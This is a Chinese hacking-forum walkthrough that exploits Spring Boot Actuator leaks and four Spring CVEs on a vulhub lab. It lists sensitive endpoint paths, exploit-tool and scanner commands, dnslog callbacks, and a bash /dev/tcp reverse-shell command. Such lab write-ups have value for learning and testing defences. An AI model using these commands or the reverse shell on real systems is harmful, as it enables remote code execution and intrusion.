[漏洞利用] SpringBoot漏洞利用

172 0
Honkers 2025-3-27 11:56:38 | 显示全部楼层 |阅读模式

0x00 前言

Spring是Java EE编程领域的一个轻量级开源框架,而spring boot是基于Sping优化而来的全新java框架

在日常的项目中经常会遇到使用Spring Boot框架的网站,博主对该框架的常见利用方式进行了整理。此文中的漏洞环境均在本地搭建。

本文聚焦于在黑盒角度中如何发现漏洞、利用漏洞。

0x01 框架特征

一、人工识别

1、网站图片文件是一个绿色的树叶。2、特有的报错信息。3、Whitelabel Error Page关键字


二、工具识别

使用VPS起一个spring boot靶场

awvs

goby

0x02 信息泄露

路由知识

  1. Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
  2. Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv
复制代码

一、路由地址及接口调用详情泄漏

  1. 开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等
复制代码

直接访问以下两个 swagger 相关路由,验证漏洞是否存在:

  1. /v2/api-docs
  2. /swagger-ui.html
复制代码

其他一些可能会遇到的 swagger、swagger codegen、swagger-dubbo 等相关接口路由:

  1. /swagger
  2. /api-docs
  3. /api.html
  4. /swagger-ui
  5. /swagger/codes
  6. /api/index.html
  7. /api/v2/api-docs
  8. /v2/swagger.json
  9. /swagger-ui/html
  10. /distv2/index.html
  11. /swagger/index.html
  12. /sw/swagger-ui.html
  13. /api/swagger-ui.html
  14. /static/swagger.json
  15. /user/swagger-ui.html
  16. /swagger-ui/index.html
  17. /swagger-dubbo/api-docs
  18. /template/swagger-ui.html
  19. /swagger/static/index.html
  20. /dubbo-provider/distv2/index.html
  21. /spring-security-rest/api/swagger-ui.html
  22. /spring-security-oauth-resource/swagger-ui.html
复制代码

除此之外,下面的 spring boot actuator 相关路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

  1. /mappings
  2. /metrics
  3. /beans
  4. /configprops
  5. /actuator/metrics
  6. /actuator/mappings
  7. /actuator/beans
  8. /actuator/configprops
复制代码

一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 “默认安全” 来讲,不暴露出这些信息更加安全。

对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。

二、配置不当而暴露的路由

  1. 主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置
复制代码

因为配置不当而暴露的默认内置路由可能会有:

  1. /actuator
  2. /auditevents
  3. /autoconfig
  4. /beans
  5. /caches
  6. /conditions
  7. /configprops
  8. /docs
  9. /dump
  10. /env
  11. /flyway
  12. /health
  13. /heapdump
  14. /httptrace
  15. /info
  16. /intergrationgraph
  17. /jolokia
  18. /logfile
  19. /loggers
  20. /liquibase
  21. /metrics
  22. /mappings
  23. /prometheus
  24. /refresh
  25. /scheduledtasks
  26. /sessions
  27. /shutdown
  28. /trace
  29. /threaddump
  30. /actuator/auditevents
  31. /actuator/beans
  32. /actuator/health
  33. /actuator/conditions
  34. /actuator/configprops
  35. /actuator/env
  36. /actuator/info
  37. /actuator/loggers
  38. /actuator/heapdump
  39. /actuator/threaddump
  40. /actuator/metrics
  41. /actuator/scheduledtasks
  42. /actuator/httptrace
  43. /actuator/mappings
  44. /actuator/jolokia
  45. /actuator/hystrix.stream
复制代码
  1. 其中对寻找漏洞比较重要接口的有:
  2. /env、/actuator/env
  3. GET 请求 /env 会直接泄露环境变量、内网地址、配置中的用户名等信息;当程序员的属性名命名不规范,例如 password 写成 psasword、pwd 时,会泄露密码明文;
  4. 同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,间接触发相关 RCE 漏洞;同时有概率获得星号遮掩的密码、密钥等重要隐私信息的明文。
  5. /refresh、/actuator/refresh
  6. POST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新属性变量来触发相关 RCE 漏洞。
  7. /restart、/actuator/restart
  8. 暴露出此接口的情况较少;可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞。
  9. /jolokia、/actuator/jolokia
  10. 可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。
  11. /trace、/actuator/httptrace
  12. 一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情;以及有效用户或管理员的 cookie、jwt token 等信息。
复制代码

0x03 CVE-2018-1273(无回显)

这里使用vps+vulhub的一个外网靶场环境

从黑盒角度来说,我就只知道这是使用了sping boot框架,其他我啥都不知道。

漏洞探测

这里推荐使用SBSCAN扫描工具(支持敏感目录和漏洞探测)
工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/133694136

  1. python sbscan.py -u http://114.132.219.55:8080/ -ff -q
复制代码


  1. python sbscan.py -u http://114.132.219.55:8080/ -ff -q -d xdxhf5.dnslog.cn
复制代码



漏洞确认!!!
然后该工具还支持使用代理功能,如果想知道漏洞测试的数据包,可以把请求转发给BP

  1. python sbscan.py -u http://114.132.219.55:8080/ -ff -q -d xdxhf5.dnslog.cn -p 127.0.0.1:8080
复制代码

0x04 CVE-2022-22947

这里使用vps+vulhub的一个外网靶场环境


同样我就只知道这是使用了sping boot框架,其他我啥都不知道。

漏洞探测

SBSCAN

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/133694136

  1. python sbscan.py -u http://114.132.219.55:8080/ -q
复制代码


看看结果报告

可以看到泄露了一些路由地址和执行了id命令

xray

  1. xray.exe webscan --browser-crawler http://目标ip/
复制代码

afrog

  1. afrog -t http://127.0.0.1 -S high,critical,medium
复制代码

nuclei

  1. nuclei.exe -u http://ip -s high,critical
复制代码

漏洞利用

通过第一步的漏洞探测出目标存在漏洞,那么这步就简单了,直接利用就完了。

一、GOBY

这里直接用社区版的goby去扫,扫出来能在线验证。



二、Spring_All_Reachable

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132226378


三、SpringBootExploit

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132271900

VPS上执行JNDIExploit工具

  1. java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 114.132.219.55
复制代码



按照提示访问http://114.132.219.55:8080/?cmd=id

四、SpringBoot-Scan-GUI

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269211

使用方式很简单,直接双击打开exe就行



这样换一个命令就要点一次漏洞利用按钮,有点不方便,可以尝试反弹shell

推荐一个反弹shell命令生成地址
https://forum.ywhack.com/shell.php


VPS上监听对应端口

五、SpringBoot-Scan

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269014

  1. python3 SpringBoot-Scan.py -v example.com
复制代码


该CVE-2022-22947暂时不支持命令交互,只能执行id命令

0x05 CVE-2022-22963(无回显)

这里使用vps+vulhub的一个外网靶场环境


通过Whitelabel Error Page关键字知道使用了spring boot框架

漏洞探测及利用

nuclei(仅漏洞探测)

  1. nuclei.exe -u http://ip -s high,critical
复制代码

一、SBSCAN

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/133694136

  1. python sbscan.py -u http://114.132.219.55:8080/ -ff -q
复制代码

  1. python sbscan.py -u http://114.132.219.55:8080/ -ff -q -d 2l9lgj.dnslog.cn
复制代码

看看dnslog有没有记录


有记录,漏洞确认!!!

  1. 如何反弹shell?
复制代码

也是让工具请求数据包走BP,修改测试命令就行

  1. python3 sbscan.py -u http://114.132.219.55:8080/ -ff -q -p 127.0.0.1:8080
复制代码


推荐一个反弹shell命令生成地址
https://ares-x.com/tools/runtime-exec

  1. 编码内容→ bash -i >& /dev/tcp/192.168.0.105/8888 0>&1
复制代码


VPS上监听对应端口

二、SpringBoot-Scan

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269014

  1. python3 SpringBoot-Scan.py -v example.com
复制代码


该工具支持代理功能,想手动反弹shell也很简单呀,让工具请求数据包走BP,去BP修改测试payload不就行了吗

  1. python3 SpringBoot-Scan.py -v http://114.132.219.55:8080/ -p 127.0.0.1:8080
复制代码


把whoami改为反弹shell命令不就行了吗

三、SpringBoot-Scan-GUI

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269211

使用方式很简单,直接双击打开exe就行


推荐一个反弹shell命令生成地址
https://ares-x.com/tools/runtime-exec

  1. 编码内容→ bash -i >& /dev/tcp/192.168.0.105/8888 0>&1
复制代码


VPS上监听对应端口

四、Spring_All_Reachable

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132226378



推荐一个反弹shell命令生成地址
https://forum.ywhack.com/shell.php

0x06 CVE-2022-22965

这里使用vps+vulhub的一个外网靶场环境


通过小绿叶知道使用了spring boot框架

漏洞探测及利用

nuclei(仅漏洞探测)

  1. nuclei.exe -u http://ip -s high,critical
复制代码

一、SBSCAN

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/133694136

  1. python3 sbscan.py -u http://114.132.219.55:8080/ -q
复制代码


查看漏洞报告


成功执行命令

二、SpringBoot-Scan-GUI

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269211

使用方式很简单,直接双击打开exe就行


怎么没扫描出来呀,别着急


三、SpringBoot-Scan

工具参考地址:
https://blog.csdn.net/m0_60571842/article/details/132269014

  1. python3 SpringBoot-Scan.py -v example.com
复制代码



该CVE支持命令交互

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行